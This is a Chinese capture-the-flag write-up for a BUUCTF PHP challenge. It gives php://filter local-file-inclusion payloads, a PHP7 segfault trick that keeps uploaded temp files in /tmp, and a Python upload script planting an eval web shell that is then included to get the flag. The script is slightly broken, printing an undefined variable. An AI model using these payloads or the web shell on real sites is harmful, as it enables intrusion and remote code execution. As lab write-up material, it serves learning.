進入頁面

查看源碼發現提示

在cookie處發現可疑字符,嘗試放入pass參數

跳轉404,連上burp看響應包,發現flflflflag.php

嘗試訪問flflflflag.php,發現include($_GET["file"])的提示

使用偽協議讀取源碼
Payload:
①f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=index.php

②f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

③f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=config.php
讀源碼之后知道了出題人想要girlfriend和include存在利用點,但是正則過濾了偽協議之后就不能用偽協議寫馬了,這里可以用php7 segment fault特性:
php://filter/string.strip_tags=/etc/passwd
php執行過程中出現 Segment Fault,這樣如果在此同時上傳文件,那么臨時文件就會被保存在/tmp目錄,不會被刪除
腳本:
import requests
from io import BytesIO
import re
payload = "<?php eval($_POST[a]);?>"
file_data={
'file': BytesIO(payload.encode())
}
url="http://f5dc51e1-26ed-4e2b-9513-0e9d606a1b2c.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
print(1)
print(session)
打開dir.php發現已經成功寫入馬了

payload:/flflflflag.php?file=/tmp/phpX5gA3,post:a=phpinfo();在phpinfo中找到flag
參考:
https://blog.csdn.net/weixin_43610673/article/details/105898440
